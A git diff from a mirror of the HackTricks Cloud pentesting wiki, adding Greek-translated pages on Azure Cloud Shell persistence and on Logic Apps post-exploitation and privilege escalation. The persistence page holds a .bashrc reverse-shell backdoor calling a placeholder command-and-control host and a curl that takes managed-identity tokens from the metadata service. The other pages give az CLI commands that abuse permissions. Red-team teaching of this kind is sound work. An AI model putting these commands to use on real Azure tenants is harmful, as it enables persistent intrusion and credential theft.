mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-08 05:40:51 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -409,6 +409,7 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
@@ -452,6 +453,7 @@
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||
@@ -471,6 +473,7 @@
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
@@ -480,6 +483,7 @@
|
||||
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
|
||||
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
# Az - Cloud Shell Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Η Azure Cloud Shell προσφέρει πρόσβαση μέσω γραμμής εντολών για τη διαχείριση πόρων Azure με μόνιμη αποθήκευση και αυτόματη πιστοποίηση. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το χαρακτηριστικό τοποθετώντας backdoors στον μόνιμο κατάλογο αρχικής:
|
||||
|
||||
* **Persistent Storage**: Ο κατάλογος αρχικής της Azure Cloud Shell είναι τοποθετημένος σε ένα Azure file share και παραμένει ανέπαφος ακόμη και μετά την ολοκλήρωση της συνεδρίας.
|
||||
* **Startup Scripts**: Αρχεία όπως το .bashrc εκτελούνται αυτόματα στην αρχή κάθε συνεδρίας, επιτρέποντας τη μόνιμη εκτέλεση όταν ξεκινά η cloud shell.
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Αυτή η πίσω πόρτα μπορεί να εκτελεί εντολές ακόμη και 5 λεπτά μετά την ολοκλήρωση του cloud shell από τον χρήστη.
|
||||
|
||||
Επιπλέον, ερωτήστε την υπηρεσία μεταδεδομένων του Azure για λεπτομέρειες και tokens της παρουσίας:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,179 @@
|
||||
# Az - Logic Apps Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Database Post Exploitation
|
||||
Για περισσότερες πληροφορίες σχετικά με τις λογικές εφαρμογές, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
Με αυτές τις άδειες, μπορείτε να τροποποιήσετε τις ροές εργασίας Logic App και να διαχειριστείτε τις ταυτότητές τους. Συγκεκριμένα, μπορείτε να αναθέσετε ή να αφαιρέσετε ταυτότητες που ανατίθενται από το σύστημα και ταυτότητες που ανατίθενται από τον χρήστη σε ροές εργασίας, επιτρέποντας στην Logic App να πιστοποιείται και να έχει πρόσβαση σε άλλους πόρους Azure χωρίς ρητές διαπιστευτήρια.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow identity remove/assign \
|
||||
--name <workflow_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--system-assigned true \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
|
||||
Με αυτές τις άδειες, μπορείτε να δημιουργήσετε ή να ενημερώσετε Logic Apps
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <logic_app_name> \
|
||||
--set httpsOnly=false
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||
Με αυτή την άδεια, μπορείτε να ξεκινήσετε/σταματήσετε/επανεκκινήσετε μια εφαρμογή ιστού, συμπεριλαμβανομένων των Logic Apps που φιλοξενούνται σε ένα App Service Plan. Αυτή η ενέργεια διασφαλίζει ότι μια προηγουμένως σταματημένη εφαρμογή επανέρχεται online και επαναλαμβάνει τη λειτουργικότητά της. Αυτό μπορεί να διαταράξει τις ροές εργασίας, να προκαλέσει μη προγραμματισμένες λειτουργίες ή να προκαλέσει διακοπή λειτουργίας ξεκινώντας, σταματώντας ή επανεκκινώντας τις Logic Apps απροσδόκητα.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az webapp start/stop/restart \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε ή να τροποποιήσετε τις ρυθμίσεις για τις διαδικτυακές εφαρμογές, συμπεριλαμβανομένων των Logic Apps που φιλοξενούνται σε ένα App Service Plan. Αυτό επιτρέπει αλλαγές στις ρυθμίσεις της εφαρμογής, τις συμβολοσειρές σύνδεσης, τις ρυθμίσεις αυθεντικοποίησης και άλλα.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp config appsettings set \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--settings "<key>=<value>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Logic/integrationAccounts/write"
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε λογαριασμούς ολοκλήρωσης Azure Logic Apps. Αυτό περιλαμβάνει τη διαχείριση ρυθμίσεων σε επίπεδο λογαριασμού ολοκλήρωσης όπως χάρτες, σχήματα, συνεργάτες, συμφωνίες και άλλα.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <integration_account_name> \
|
||||
--location <location> \
|
||||
--sku <Standard|Free> \
|
||||
--state Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε τις ρυθμίσεις παρτίδας εντός ενός λογαριασμού ολοκλήρωσης Azure Logic Apps. Οι ρυθμίσεις παρτίδας καθορίζουν πώς οι Logic Apps επεξεργάζονται και ομαδοποιούν τα εισερχόμενα μηνύματα για επεξεργασία παρτίδας.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account batch-configuration create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <batch_configuration_name> \
|
||||
--release-criteria '{
|
||||
"messageCount": 100,
|
||||
"batchSize": 1048576,
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε χάρτες εντός ενός λογαριασμού ολοκλήρωσης Azure Logic Apps. Οι χάρτες χρησιμοποιούνται για να μετατρέπουν δεδομένα από μια μορφή σε άλλη, επιτρέποντας την απρόσκοπτη ολοκλήρωση μεταξύ διαφορετικών συστημάτων και εφαρμογών.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account map create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <map_name> \
|
||||
--map-type <Xslt|Xslt20|Xslt30> \
|
||||
--content-type application/xml \
|
||||
--map-content map-content.xslt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε συνεργάτες σε έναν λογαριασμό ολοκλήρωσης Azure Logic Apps. Οι συνεργάτες αντιπροσωπεύουν οντότητες ή συστήματα που συμμετέχουν σε ροές εργασίας επιχειρήσεων προς επιχειρήσεις (B2B).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account partner create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <partner_name> \
|
||||
--partner-type <partner-type> \
|
||||
--content '{
|
||||
"b2b": {
|
||||
"businessIdentities": [
|
||||
{
|
||||
"qualifier": "ZZ",
|
||||
"value": "TradingPartner1"
|
||||
}
|
||||
]
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε συνεδρίες εντός ενός λογαριασμού ολοκλήρωσης Azure Logic Apps. Οι συνεδρίες χρησιμοποιούνται σε B2B ροές εργασίας για να ομαδοποιούν μηνύματα και να παρακολουθούν σχετικές συναλλαγές σε μια καθορισμένη περίοδο.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account session create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <session_name> \
|
||||
--content '{
|
||||
"properties": {
|
||||
"sessionId": "session123",
|
||||
"data": {
|
||||
"key1": "value1",
|
||||
"key2": "value2"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
Με αυτές τις άδειες μπορείτε να διαγράψετε πόρους που σχετίζονται με το Azure Logic Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,77 @@
|
||||
# Az - Logic Apps Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Privesc
|
||||
Για περισσότερες πληροφορίες σχετικά με τη SQL Database ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να ενημερώσετε, Azure Logic Apps workflows. Τα workflows ορίζουν αυτοματοποιημένες διαδικασίες και ενσωματώσεις μεταξύ διαφόρων συστημάτων και υπηρεσιών.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <workflow_name> \
|
||||
--definition <workflow_definition_file.json> \
|
||||
--location <location>
|
||||
|
||||
az logic workflow update \
|
||||
--name my-new-workflow \
|
||||
--resource-group logicappgroup \
|
||||
--definition <workflow_definition_file.json>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Και μετά την αλλαγή του, μπορείτε να το εκτελέσετε με:
|
||||
```bash
|
||||
az rest \
|
||||
--method post \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
|
||||
--body '{}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
|
||||
Με αυτές τις άδειες, μπορείτε να αναπτύξετε ροές εργασίας Logic App χρησιμοποιώντας αναπτύξεις αρχείων ZIP. Αυτές οι άδειες επιτρέπουν ενέργειες όπως η ανάγνωση λεπτομερειών εφαρμογής, η πρόσβαση σε διαπιστευτήρια δημοσίευσης, η εγγραφή αλλαγών και η καταγραφή ρυθμίσεων εφαρμογής. Μαζί με τις άδειες εκκίνησης, μπορείτε να ενημερώσετε και να αναπτύξετε μια νέα Logic App με το επιθυμητό περιεχόμενο
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--src <path_to_zip_file>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστηρίξτε το HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -9,7 +9,7 @@ Azure App Services επιτρέπει στους προγραμματιστές
|
||||
Κάθε εφαρμογή εκτελείται μέσα σε ένα sandbox, αλλά η απομόνωση εξαρτάται από τα σχέδια App Service:
|
||||
|
||||
- Οι εφαρμογές σε δωρεάν και κοινές κατηγορίες εκτελούνται σε **κοινές VM**
|
||||
- Οι εφαρμογές σε κανονικές και premium κατηγορίες εκτελούνται σε **αφιερωμένες VM που μοιράζονται μόνο από εφαρμογές** στο ίδιο σχέδιο App Service.
|
||||
- Οι εφαρμογές σε Standard και Premium κατηγορίες εκτελούνται σε **αφιερωμένες VM που μοιράζονται μόνο από εφαρμογές** στην ίδια κατηγορία App Service.
|
||||
- Οι απομονωμένες κατηγορίες εκτελούνται σε **αφιερωμένες VM σε αφιερωμένα εικονικά δίκτυα**, βελτιώνοντας την απομόνωση των εφαρμογών.
|
||||
|
||||
> [!WARNING]
|
||||
@@ -18,13 +18,13 @@ Azure App Services επιτρέπει στους προγραμματιστές
|
||||
Οι εφαρμογές έχουν κάποιες ενδιαφέρουσες ρυθμίσεις:
|
||||
|
||||
- **Always On**: Διασφαλίζει ότι η εφαρμογή είναι πάντα σε λειτουργία. Αν δεν είναι ενεργοποιημένο, η εφαρμογή θα σταματήσει να λειτουργεί μετά από 20 λεπτά αδράνειας και θα ξεκινήσει ξανά όταν ληφθεί ένα αίτημα.
|
||||
- Αυτό είναι απαραίτητο αν έχετε μια webjob που χρειάζεται να εκτελείται συνεχώς, καθώς η webjob θα σταματήσει αν η εφαρμογή σταματήσει.
|
||||
- Αυτό είναι απαραίτητο αν έχετε μια webjob που χρειάζεται να εκτελείται συνεχώς, καθώς η webjob θα σταματήσει αν σταματήσει η εφαρμογή.
|
||||
- **SSH**: Αν είναι ενεργοποιημένο, ένας χρήστης με αρκετά δικαιώματα μπορεί να συνδεθεί στην εφαρμογή χρησιμοποιώντας SSH.
|
||||
- **Debugging**: Αν είναι ενεργοποιημένο, ένας χρήστης με αρκετά δικαιώματα μπορεί να αποσφαλματώσει την εφαρμογή. Ωστόσο, αυτό απενεργοποιείται αυτόματα κάθε 48 ώρες.
|
||||
- **Web App + Database**: Η διαδικτυακή κονσόλα επιτρέπει τη δημιουργία μιας εφαρμογής με μια βάση δεδομένων. Σε αυτή την περίπτωση, είναι δυνατή η επιλογή της βάσης δεδομένων που θα χρησιμοποιηθεί (SQLAzure, PostgreSQL, MySQL, MongoDB) και επιτρέπει επίσης τη δημιουργία ενός Azure Cache για Redis.
|
||||
- Η διεύθυνση URL που περιέχει τα διαπιστευτήρια για τη βάση δεδομένων και το Redis θα αποθηκευτεί στα **appsettings**.
|
||||
- **Container**: Είναι δυνατή η ανάπτυξη ενός container στην υπηρεσία App Service υποδεικνύοντας τη διεύθυνση URL του container και τα διαπιστευτήρια για την πρόσβαση σε αυτό.
|
||||
- **Mounts**: Είναι δυνατή η δημιουργία 5 mounts από λογαριασμούς αποθήκευσης, είτε αυτοί είναι Azure Blob (Μόνο για Ανάγνωση) είτε Azure Files. Η ρύθμιση θα αποθηκεύσει το κλειδί πρόσβασης πάνω από τον λογαριασμό αποθήκευσης.
|
||||
- **Mounts**: Είναι δυνατή η δημιουργία 5 mounts από λογαριασμούς αποθήκευσης, είτε αυτοί είναι Azure Blob (Μόνο για Ανάγνωση) είτε Azure Files. Η ρύθμιση θα αποθηκεύσει το κλειδί πρόσβασης πάνω από τον Λογαριασμό Αποθήκευσης.
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
@@ -41,7 +41,7 @@ Azure App Services επιτρέπει στους προγραμματιστές
|
||||
|
||||
Kudu είναι η πλατφόρμα που **διαχειρίζεται τόσο το SCM όσο και μια διαδικτυακή και API διεπαφή** για τη διαχείριση μιας υπηρεσίας App Service, και παρέχει δυνατότητες ανάπτυξης βασισμένες σε Git, απομακρυσμένη αποσφαλμάτωση και διαχείριση αρχείων. Είναι προσβάσιμη μέσω της διεύθυνσης URL SCM που ορίζεται στην διαδικτυακή εφαρμογή.
|
||||
|
||||
Σημειώστε ότι οι εκδόσεις Kudu που χρησιμοποιούνται από τις Υπηρεσίες App και από τις Εφαρμογές Λειτουργιών είναι διαφορετικές, με την έκδοση των Εφαρμογών Λειτουργιών να είναι πολύ πιο περιορισμένη.
|
||||
Σημειώστε ότι οι εκδόσεις Kudu που χρησιμοποιούνται από τις Υπηρεσίες App και από τις Function Apps είναι διαφορετικές, με την έκδοση των Function apps να είναι πολύ πιο περιορισμένη.
|
||||
|
||||
Ορισμένα ενδιαφέροντα endpoints που μπορείτε να βρείτε στο Kudu είναι:
|
||||
- `/BasicAuth`: Πρέπει να αποκτήσετε πρόσβαση σε αυτή τη διαδρομή για να **συνδεθείτε στο Kudu**.
|
||||
@@ -52,7 +52,7 @@ Kudu είναι η πλατφόρμα που **διαχειρίζεται τόσ
|
||||
- `/Env`: Λάβετε πληροφορίες σχετικά με το σύστημα, τις ρυθμίσεις εφαρμογής, τις μεταβλητές περιβάλλοντος, τις συμβολοσειρές σύνδεσης και τις κεφαλίδες HTTP.
|
||||
- `/wwwroot/`: Ο ριζικός κατάλογος της διαδικτυακής εφαρμογής. Μπορείτε να κατεβάσετε όλα τα αρχεία από εδώ.
|
||||
|
||||
Επιπλέον, το Kudu ήταν ανοιχτού κώδικα στο [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), αλλά το έργο έχει αποσυρθεί και συγκρίνοντας τη συμπεριφορά του τρέχοντος Kudu στην Azure με το παλιό, είναι δυνατό να παρατηρήσετε ότι **πολλά πράγματα έχουν ήδη αλλάξει**.
|
||||
